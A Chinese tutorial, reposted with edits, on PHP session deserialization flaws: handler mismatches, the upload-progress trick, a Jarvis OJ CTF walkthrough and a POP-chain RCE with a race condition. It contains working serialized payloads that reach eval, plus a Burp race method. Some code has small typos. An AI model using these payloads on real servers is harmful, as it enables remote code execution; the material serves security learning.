**转载bmjoker师傅的文章,并且改了一部分

0x00 session的请求过程

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

0x01 session_start的作用

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie
整个流程大概如上所述,也可参考下述流程图:
image.png

0x02 Session存储机制

PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。
先来大概了解一下PHP Session在php.ini中主要存在以下配置项:

Directive 含义
session.save_handler 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files
session.save_path 设置session的存储路径,默认在/tmp
session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php。
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.upload_progress.enabed 将上传文件的进度信息存储在session中。默认开启
session.upload_progress.cleanup 一旦读取了所有的POST数据,立即清除进度信息。默认开启

image.png
在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同

存储引擎 存储方式
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php 键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

下面通过小例子来展示一下存储方式的不同:

php处理器

  1. <?php
  2. error_reporting(0);
  3. ini_set('session.serialize_handler','php');
  4. session_start();
  5. _SESSION['username'] = $_GET['username'];
  6. ?>

image.png
序列化的结果为:username|s:7:”bmjoker”;
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
php处理器的Session文件内容为:$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值。

php_binary处理器

  1. <?php
  2. error_reporting(0);
  3. ini_set('session.serialize_handler','php_binary');
  4. session_start();
  5. $_SESSION['username'] = $_GET['user'];
  6. ?>

image.png
序列化的结果为:usernames:7:”bmjoker”;
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
php_binary处理器的Session文件内容为:键名的长度对应的 ASCII 字符 + $_SESSION['username']的键名 + GET参数经过serialize序列化后的值。

php_serialize处理器

  1. <?php
  2. error_reporting(0);
  3. ini_set('session.serialize_handler','php_serialize');
  4. session_start();
  5. $_SESSION['username'] = $_GET['user'];
  6. ?>

image.png
序列化的结果为:a:1:{s:8:”username”;s:7:”bmjoker”;}
文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid
php_serialize处理器Session文件内容为:GET参数经过serialize序列化后的值。

0x03 Session反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。

0x00 存在对$_SESSION变量赋值

php引擎存储Session的格式为

php 键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session:
Session1.php

  1. <?php
  2. error_reporting(0);
  3. ini_set('session.serialize_handler','php_serialize');
  4. session_start();
  5. $_SESSION['username'] = $_GET['user'];
  6. echo "<pre>";
  7. var_dump($_SESSION);
  8. echo "</pre>";
  9. ?>

接下来使用php引擎来读取Session文件
Session2.php

  1. <?php
  2. error_reporting(0);
  3. ini_set('session.serialize_handler','php');
  4. session_start();
  5. class user{
  6. var $name;
  7. var $age;
  8. function __wakeup(){
  9. echo "hello ".$this->name." !"
  10. }
  11. }
  12. ?>

漏洞的主要原因在于不同的引擎对于竖杠’ | ‘的解析产生歧义。
对于php_serialize引擎来说’ | ‘可能只是一个正常的字符;但对于php引擎来说’ | ‘就是分隔符,前面是$_SESSION[‘username’]的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对’ | ‘后的值进行反序列化处理。
可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对’ | ‘后面的内容进行反序列化呢?也没看到反序列化unserialize函数。
这是因为使用了session_start()这个函数 ,看一下官方说明:https://www.php.net/session_start/
image.png
可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。
明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来构造payload:

  1. <?php
  2. class user{
  3. var $name;
  4. var $age;
  5. }
  6. $a = new user();
  7. $a->name = "bmjoker";
  8. $a->age = "888";
  9. echo serialize($a);
  10. ?>

image.png
如上生成的payload如果想利用php引擎读取Session文件时对’ | ‘解析产生的反序列化漏洞,需要在payload前加个’ | ‘,这个时候经过php_serialize引擎存储就会变成:

image.png
这个使用如果使用php引擎去读取
image.png
直接访问Session2.php文件:
image.png
成功触发了user类的魔术方法__wakeup(),结合POP反序列化链就可以造成一些其他的漏洞。
但这种方法是在可以对$_SESSION进行赋值的情况下实现的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用?

0x01不存在对$_SESSION变量赋值

在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对(key:value),value中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。
image.png
更多细节请参考:http://php.net/manual/zh/session.upload-progress.php
从上面的大概描述大概得知此漏洞需要session.upload_progress.enabled为on,在上传文件的时候同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。
来看一道Jarvis OJ 平台的 PHPINFO 题目
环境地址:http://web.jarvisoj.com:32784/
index.php

  1. <?php
  2. //A webshell is wait for you
  3. ini_set('session.serialize_handler', 'php');
  4. session_start();
  5. class OowoO {
  6. public $mdzz;
  7. function __construct()
  8. {
  9. $this->mdzz = 'phpinfo();';
  10. }
  11. function __destruct()
  12. {
  13. eval($this->mdzz);
  14. }
  15. }
  16. if(isset($_GET['phpinfo']))
  17. {
  18. $m = new OowoO();
  19. }
  20. else
  21. {
  22. highlight_string(file_get_contents('index.php'));
  23. }
  24. ?>

通过index.php代码可以得知:
1. 是使用php的引擎来读取Session。
2. 如果存在GET方式传递进来的参数,就实例化Oowo类的对象,就会自动调用构造函数construct(),将phpinfo()赋值给变量$mdzz,在程序结束的时候调用析构函数destruct()通过eval执行$mdzz,说白了就是随便传一个参数,就可以看到php探针。
image.png
通过读取php探针文件发现了两个比较重要的信息:
1. 默认的Session存储引擎为php_serialize,但是index.php告诉我们Session读取使用的是php引擎,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
2. index.php代码中虽然没有对$_SESSION变量赋值,但是session.upload_progress.enabled 为 On。符合使用upload_process机制对变量$_SESSION赋值,并结合上面的Session反序列化来构造利用。
session.upload_progress.name 为 PHP_SESSION_UPLOAD_PROGRESS,可以本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS 变量。
up_sess.html

  1. <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
  2. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  3. <input type="file" name="file" / >
  4. <input type="submit" />
  5. </form>

image.png
接下来构造序列化payload来读取flag:

  1. <?php
  2. ini_set('session.serialize_handler', 'php_serialize');
  3. session_start();
  4. class OowoO {
  5. public $mdzz='print_r(scandir(dirname(__FILE__)));';
  6. }
  7. $obj = new OowoO();
  8. echo serialize($obj);
  9. ?>

image.png
其中printr(scandir(dirname(FILE)));用来打印当前文件绝对路径目录中的文件和目录的数组
接下来就要通过不同引擎的差异解析来构造反序列化payload,只需要在前面加上’ | ‘,这样通过php引擎反序列化’ | ‘后半部分,就可以打印出目录中的文件数组:
|O:5:”OowoO”:1:{s:4:”mdzz”;s:36:”printr(scandir(dirname(__FILE
)));”;}
在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加’ | ‘和序列化的字符串
查看根目录文件:
image.png
发现flag文件与index.php文件在同一目录下,查看根目录路径:
image.png
读取flag文件:
image.png

0x04 Session反序列化POP链构造

注:以下例子在本地搭建,需要在php.ini中对以下选项进行配置:
session.auto_start = Off session.serialize_handler = php_serialize session.upload_progress.cleanup = 0ff
session.auto_start = on 表示PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
session.serialize_handler = php_serialize 表示默认使用php_serialize引擎进行存储。
session.upload_progress.cleanup = On 导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。
前期为了演示反序列化效果,暂时将这个选项关闭Off,后面会打开来展示利用条件竞争Session反序列化rce。
class.php

  1. <?php
  2. highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
  3. //show_source(__FILE__);
  4. class foo1{
  5. public $varr;
  6. function __construct(){
  7. $this->varr = "index.php";
  8. }
  9. function __destruct(){
  10. if(file_exists($this->varr)){
  11. echo "<br>文件".$this->varr."存在<br>";
  12. }
  13. echo "<br>这是foo1的析构函数<br>";
  14. }
  15. }
  16. class foo2{
  17. public $varr;
  18. public $obj;
  19. function __construct(){
  20. $this->varr = '1234567890';
  21. $this->obj = null;
  22. }
  23. function __toString(){
  24. // 类被当作字符串时被调用
  25. $this->obj->execute();
  26. return $this->varr;
  27. }
  28. function __desctuct(){
  29. echo "<br>这是foo2的析构函数<br>";
  30. }
  31. }
  32. class foo3{
  33. public $varr;
  34. function execute(){
  35. eval($this->varr);
  36. }
  37. function __desctuct(){
  38. echo "<br>这是foo3的析构函数<br>";
  39. }
  40. }
  41. ?>

index.php

  1. <?php
  2. ini_set('session.serialize_handler', 'php');
  3. require("./class.php");
  4. session_start();
  5. $obj = new foo1();
  6. $obj->varr = "phpinfo.php";
  7. ?>

通读class.php文件,发现漏洞点在于可以通过调用foo3类中的eval方法造成命令执行漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。
1. foo3类中execute方法没有发现调用的地方,但是在foo2类中的魔术方法toString()中发现调用了同名方法,这里可以把foo2类中的$obj实例化为foo3类的对象,这样只要调用toString()就相当于调用foo3类中execute方法。

  1. $this->obj = new foo3();
  1. 如果想触发foo2类中的魔术方法toString()被触发,就需要foo2类或者类下的一个对象被当作字符串调用。而在foo1类中发现echo了一个对象,这里可以把foo1类中的$varr实例化为foo2类的一个对象,这样通过echo,把一个对象当作一个字符串调用,就可以触发foo2类中的toString()方法。
    1. $this->varr = new foo2();
    class.php文件的调用链为:
    1. foo3::execute <-- foo2::__toString <-- foo1::__destruct
    思路有了现在来构造payload:
    1. <?php
    2. class foo1{
    3. function __construct(){
    4. $this->varr = new foo2();
    5. }
    6. }
    7. class foo2{
    8. function __construct(){
    9. $this->obj = new foo3();
    10. }
    11. }
    12. class foo3{
    13. public $varr='phpinfo();';
    14. }
    15. $obj = new foo1(); echo serialize($obj);
    16. ?>
    image.png
    再来分析一下index.php文件:
    1. 发现使用php引擎来读取Session文件,而系统默认是使用php_serialize引擎来存储Session, 通过不同引擎的差异解析就可以反序列化rce。
    2. 文件直接require(class.php),并且紧接着实例化一个foo1类的对象,这意味着使用php引擎解析完Session文件,反序列化payload直接就可以rce。
    本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS变量。

    在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加’ | ‘和序列化的字符串,payload为:
    |O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}
    
    image.png
    image.png
    现在设置session.upload_progress.cleanup = On ,文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争来反序列化rce。
    image.png
    在文件上传的时候,抓取数据包,send to intruder模块,尝试大线程重放数据包:
    image.png
    开始爆破:
    image.png image.png
    就这样通过时间竞争就可以实现反序列化rce。